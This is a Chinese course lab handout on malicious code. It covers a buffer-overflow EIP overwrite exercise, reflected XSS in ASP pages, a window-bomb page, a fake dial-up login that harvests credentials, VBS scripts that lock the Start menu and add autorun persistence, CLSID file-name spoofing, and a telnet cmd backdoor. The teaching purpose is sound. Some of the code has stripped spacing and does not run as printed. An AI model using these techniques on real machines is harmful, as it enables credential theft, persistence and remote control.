实验四恶意代码实验.docx
《实验四恶意代码实验.docx》由会员分享,可在线阅读,更多相关《实验四恶意代码实验.docx(18页珍藏版)》请在冰豆网上搜索。
实验四恶意代码实验
实验四恶意代码攻防实验
【实验目的】
通过本实验初步了解远程控制软件的编写方法,了解黑客利用流行的木马软件进行远程监控和攻击的方法,掌握常见工具的基本应用,包括如下几个方面:
✓掌握基于Socket的网络编程。
✓了解缓冲区溢出攻击的基本实现方法。
✓了解恶意脚本攻击的基本实现方法。
✓了解网络病毒的基本特性。
实验过程中,学生需要将实验的结果记录下来,并回答相关思考题,填写到实验报告中。
【实验类型】综合型实验
【实验内容】
以下实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整,实验内容中的思考题以书面形式解答并附在实验报告的后面。
需要注意的是,学生在实验过程中要严格按实验指导书的操作步骤和要求操作,且小组成员应紧密配合,以保证实验过程能够顺利完成。
本次实验的主要项目包括以下几个方面:
☑溢出攻击模拟程序的编写、调试;
☑跨站恶意脚本的运用;
☑网页脚本攻击。
具体的实验内容和步骤如下:
【实验环境】
实验设备:
WindowsXP系统,VMWare系统,Windows2000/XP虚拟机。
一、缓冲区溢出攻击
编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。
1.简单原理示例
VC环境下编译以下代码:
#include
#include
charname[]="abcdefghijklmnopqrstuvwxyz";
intmain(){
charbuffer[8];
strcpy(buffer,name);
return0;
}
运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。
2.溢出攻击模拟示例
实验需要使用以下工具:
●OllyDB
●Uedit
首先写一个C++程序2.c,源码:
#include"iostream.h"
intmain()
{
charname[8];
cout<<"Pleasetypeyourname:
";
cin>>name;
cout<<"Hello,";
cout<cout<<"\n";
return0;
}
赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。
使用VC的lc编译该程序(编译后的程序为2.exe)后,运行…此时若“你的名字”小于或等于8个字节时程序当然能正常运行了,但若超过8个字节时将出现:
这次我们要做的实验就是让该程序溢出,并能跳转到程序的开头重新运行该程序。
首先我们运行2.exe,当程序进行至提示用户输入字符串时,输入一个特殊定制的字符串“aaabbbcccdddeeefff”,在弹出的对话框中按“调试”按钮(这里我是用OllyDB作为系统的主调试器的)进入OllyDB调试模式:
这里我们发现负责下一跳的EIP寄存器的值被覆盖了,其值为66656565,对照ascii表后发现其值为“feee”,由于寄存器是‘倒转’的,因此其实是“eeef”覆盖了EIP,现在我们可以确认这个输入的字符串中是从第13个字节开始覆盖EIP的,共4个字节。
用OllyDB重新加载2.exe:
我们可以看到该程序起始地址为004041B0,根据字符与地址的对照关系是‘倒转’的原理:
004041B0
等于
B0414000
此时打开UltraEdit,输入1,然后按Ctrl+H切换到HEX显示模式,然后在HEX输出界面中输入B0414000:
此时再按Ctrl+H切换回原来的输入模式就可以得到相应的字符了:
按Ctrl+A选中该输出的字符串,将其放在第12个字节之后,如:
“aaabbbcccddd癆”,现在我们重新启动2.exe,在输入字符串时输入该段字符串:
如图,无论输入多少次都还是“循环”,溢出成功。
【思考题】溢出攻击提升权限是如何实现的?
二、跨站脚本攻击
假设某站点网站网页文件为index.asp,代码如下:
<%Language=VBScript%>
<%IfRequest.Cookies("userName")<>""Then
DimstrRedirectUrl
strRedirectUrl="page2.asp?
userName="
strRedirectUrl=strRedirectUrl&Response.Cookies("userName")
Response.Redirect(strRedirectUrl)
Else%>
MyNiceSite.HomePageMyNiceSite.
EnteryourMyNiceSite.username:
<%EndIf%>
上述代码执行后,调用page2.asp,回显输入的字符。
page2.asp代码如下:
<%Language=VBScript%>
<%DimstrUserName
IfRequest.QueryString("userName")<>""Then
strUserName=Request.QueryString("userName")
Else
Response.Cookies("userName")=Request.Form("userName")
strUserName=Request.Form("userName")
EndIf%>
Hello:
<%=strUserName%>
如果,在index.asp中输入,点击提交,观察运行结果。
【思考题】黑客利用跨站脚本攻击可以造成哪些危害?
三、恶意脚本
1.恶意脚本的网页,交叉显示红色和黑色背景。
代码存为html文件,将网页文件放在web目录下,通过浏览器访问该网页。
Test
varcolor=newArray;
color[1]="black";//设置两种颜色
color[2]="red";
for(x=2;x<3;x++)
{
document.bgColor=color[x];//设置背景色
if(x==2){x=0;}//造成死循环
}
2.网页炸弹,也被称为窗口轰炸,是一种极其恶劣的针对客户端攻击行为。
以下示例可以在附带的光盘上找到。
这个示例主要针对IE浏览器,如图3-93,点击“网页炸弹演示”的链接。
此时,需要有一定的心理准备,因为马上会出现如图3-94的场景,而且窗口会越来越多。
制止的方法只有一个,按下热启动组合键Ctrl+Alt+Del,进入安全对话框,迅速打开任务管理器并中止“网页炸弹.htm”窗口的运行。
如果动手比较慢的话,你的系统极有可能崩溃。
那么,网页炸弹是如何实现窗口轰炸的呢?
观察该页面的源代码就可以找到答案了,如图。
在遭受窗口轰炸时,很容易导致系统崩溃,重新启动系统即可。
3.网页欺骗
在附带光盘上有笔者制作的一个有趣的网页欺骗演示,如图3-88,点击其中的链接。
图3-88网页欺骗演示
屏幕弹出两个窗口,用户可以看见如图3-89的提示,粗心的拨号用户就可能认为真的是线路中断。
然后在图3-90界面中输入用户名和密码,点击拨号。
图3-89虚假的线路中断提示
图3-90模拟的拨号连接界面
一旦用户点击“拨号”后,我们就可以得到他的用户帐户和登录密码。
当然,笔者的演示页面中没有加任何恶意代码,可以放心浏览。
查看第一个页面的源代码,如图3-91,读者可以了解到弹出模拟页面的方法。
图3-91主页面源代码
查看第二个页面的源代码,如图3-92,你可以了解到模拟页面是如何画出来的。
图3-92网页欺骗的部分源代码
这种欺骗代码可以通过嵌入恶意网页、邮件和共享文件夹中的.htt文件等方法,等待用户去触发执行它。
其欺骗行为还可以有其它的方式,如模拟QQ登录界面、Outlook邮箱登录界面、访问共享时弹出的用户验证窗体等,用户必须加倍小心。
当出现这些界面时,一定要思量一下是否正常。
4.改造系统的“开始”菜单,禁用查找、运行和关闭功能的脚步程序.ChangeStartMenu.vbs
双击运行即可。
如果发现启动菜单没有变化,则重启系统后可以看到执行效果。
SubChange(Argument)
ChangeStartMenu.RegWriteRegPath&Argument,Key_Data,Type_Name
MsgBox("Success!
")
EndSub
DimChangeStartMenu
SetChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Data=1
StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"
'CallChange(StartMenu_Run)'禁用“开始”菜单中的“运行”功能
CallChange(StartMenu_Find)'禁用“开始”菜单中的“查找”功能
'CallChange(StartMenu_Close)'禁用“开始”菜单中的“关闭系统”功能
5.向Windows中添加自启动程序,使得该程序能在系统开机时自动运行,代码:
auto.vbs,
直接运行该脚步程序,则系统启动之后会自动运行cmd程序。
DimAutoRunProgram
SetAutoRunProgram=WScript.CreateObject("WScript.Shell")
RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name="REG_SZ"
Key_Name="AutoRun"
Key_Data="C:
\windows\system32\cmd.exe"
'该自启动程序的全路径文件名
AutoRunProgram.RegWriteRegPath&Key_Name,Key_Data,Type_Name
'在启动组中添加自启动程序autorun.exe
MsgBox("Success!
")
【思考题】恶意脚本构成安全威胁的根本原因是什么?
6.文件名欺骗
我们现在首先创建一个文本文件,将它的文件名命名为:
test.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
在该文件里面添加如图内容。
图3-83诱饵文件
现在,我们通过资源管理器查看,会发现它显示为test.txt,如图。
这是因为{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}在注册表里是htr文件关联的CLSID(ClassID),用资源管理器和IE浏览器查看时并不会显现出来,你看到的就是个.txt文件。
当你误认为是一个.txt文件,而双击打开它时,就会被执行,如图。
在我们的这个例子中只是启动了一个命令行命令Ping,并没有什么危害性,如果运行的是格式化、删除文件等破坏性命令,后果就不堪设想了。
其实这个文件在命令行窗口下是可以看见的,如下图。
这种欺骗的方法,还可以用在邮件的附件中,比如将一个恶意的VBS脚本装成文本文件、图片等,再起个吸引人的名字,引诱用户去点击。
这样就可以直接对用户进行攻击,如删除文件、格式化磁盘、安装木马文件、传播病毒等。
那么,针对这种欺骗如何识别和防范呢?
细心一点可以发现,在资源管理器(文件查看方式默认为“按WEB页方式”查看)中这种带有欺骗性质的.txt文件显示出来的并不是文本文件的图标,它显示的是未定义文件类型的图标,这是区分它与正常.txt文件的最好方法,细心一点就不容易上当了。
另外,如图资源管理器在文件左面会显示出其文件类型,此时可以看到它不是真正的txt文件,而是“HTMLApplication”。
四、后门程序
backdoor示例程序使用了子进程技术。
服务器打开子进程执行cmd,服务器接收客户端的命令,转交给子进程执行,并把子进程执行的结果转交给客户端。
在服务器上执行backdoor程序,例如在主机192.168.1.100上执行backdoor。
在一个选定的客户机器上执行telnet程序:
telnet192.168.1.100888
可以控制服务器,在服务器上执行命令。